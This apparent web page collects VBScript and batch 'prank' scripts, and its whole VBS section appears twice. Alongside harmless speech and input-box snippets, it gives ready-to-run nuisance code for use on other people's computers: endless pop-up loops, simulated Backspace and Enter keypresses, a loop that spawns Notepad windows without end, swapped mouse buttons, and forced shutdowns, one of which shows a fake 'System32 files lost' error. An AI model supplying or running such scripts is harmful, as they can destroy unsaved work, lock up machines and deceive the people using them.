VBS Codes for Pranks & More
For these codes simply open notepad, paste in the desired code and save it as "something.vbs" or "something.bat" depending on which type of code you are using.
==========================
VBS CODES
==========================
Talking
______________________________
strText = inputbox("What should I say?","Type to Talk")
Set objVoice = CreateObject ("SAPI.SpVoice")
ObjVoice.Rate=-3
ObjVoice.speak strText
_______________________________
Type To Talk
_______________________________
strText = inputbox("What should Sam say?","Sam")
Set objVoice = CreateObject ("SAPI.SpVoice")
ObjVoice.speak strText
_________________________________
Ghost Typing:
_______________________________
set wshshell = wscript.CreateObject("wscript.shell")
wshshell.run "Notepad"
wscript.sleep 2000
wshshell.AppActivate "Notepad"
do
WshShell.SendKeys "HA"
WScript.Sleep 500
loop
_______________________________
Error Popup
_______________________________
X = MsgBox("Title",0+16, "Box Text")
_______________________________
Never Ending Popups:
_______________________________
msgbox "Don't"
msgbox "You"
msgbox "Hate"
msgbox "It"
msgbox "When"
msgbox "This"
msgbox "Happens?"
do
msgbox "HAHAHA"
loop
___________________________
Input Box
___________________________
dim fname
fname=inputbox("hi whats your name?")
___________________________
How old will you be?
___________________________
WScript.Echo "Hello!"
Set WshShell = WScript.CreateObject("WScript.Shell")
age = InputBox("How old you are now?")
newage = age + 40
WshShell.Popup "In 40 years, you will be " & newage & "."
___________________________
BackSpace non-stop
________________________
Set wshShell =wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "{bs}"
loop
____________________________
ENTER OVER AGAIN
____________________________
Set wshShell = wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "~(enter)"
loop
_______________________
Obnoxious CaPs
_________________________
Set wshShell =wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "{CAPSLOCK}"
loop
______________________________
CD Tray Pop OVER AND OVER
____________________________
Set oWMP = CreateObject("WMPlayer.OCX.7")
Set colCDROMs = oWMP.cdromCollection
do
if colCDROMs.Count = 1 then
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
End If
wscript.sleep 100
loop
__________________________
Shut Down Comp
__________________________
set wshshell = wscript.CreateObject("wscript.shell")
wshshell.run "shutdown.exe -s -t 6"
wscript.sleep 2000
___________________
==========================
VBS CODES
==========================
Talking
______________________________
strText = inputbox("What should I say?","Type to Talk")
Set objVoice = CreateObject ("SAPI.SpVoice")
ObjVoice.Rate=-3
ObjVoice.speak strText
_______________________________
Type To Talk
_______________________________
strText = inputbox("What should Sam say?","Sam")
Set objVoice = CreateObject ("SAPI.SpVoice")
ObjVoice.speak strText
_________________________________
Ghost Typing:
_______________________________
set wshshell = wscript.CreateObject("wscript.shell")
wshshell.run "Notepad"
wscript.sleep 2000
wshshell.AppActivate "Notepad"
do
WshShell.SendKeys "HA"
WScript.Sleep 500
loop
_______________________________
Error Popup
_______________________________
X = MsgBox("Title",0+16, "Box Text")
_______________________________
Never Ending Popups:
_______________________________
msgbox "Don't"
msgbox "You"
msgbox "Hate"
msgbox "It"
msgbox "When"
msgbox "This"
msgbox "Happens?"
do
msgbox "HAHAHA"
loop
___________________________
Input Box
___________________________
dim fname
fname=inputbox("hi whats your name?")
___________________________
How old will you be?
___________________________
WScript.Echo "Hello!"
Set WshShell = WScript.CreateObject("WScript.Shell")
age = InputBox("How old you are now?")
newage = age + 40
WshShell.Popup "In 40 years, you will be " & newage & "."
___________________________
BackSpace non-stop
________________________
Set wshShell =wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "{bs}"
loop
____________________________
ENTER OVER AGAIN
____________________________
Set wshShell = wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "~(enter)"
loop
_______________________
Obnoxious CaPs
_________________________
Set wshShell =wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "{CAPSLOCK}"
loop
______________________________
CD Tray Pop OVER AND OVER
____________________________
Set oWMP = CreateObject("WMPlayer.OCX.7")
Set colCDROMs = oWMP.cdromCollection
do
if colCDROMs.Count = 1 then
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
End If
wscript.sleep 100
loop
__________________________
Shut Down Comp
__________________________
set wshshell = wscript.CreateObject("wscript.shell")
wshshell.run "shutdown.exe -s -t 6"
wscript.sleep 2000
___________________
========================
BAT Codes
=========================
When using BAT codes you type .BAT instead of . VBS
This is crucial other whys the codes will not work.
________________
SHUT DOWN
________________
@echo off
msg * Fatal system error
shutdown -c "System32 files lost, PC now shutting down" -s -t 10
_________________________
Swap Mouse
__________________________
@echo off
Rundll32 user32,SwapMouseButton
_________________________
Endless Notepads
_________________________
@ECHO off
:top
START %SystemRoot%\system32\notepad.exe
GOTO top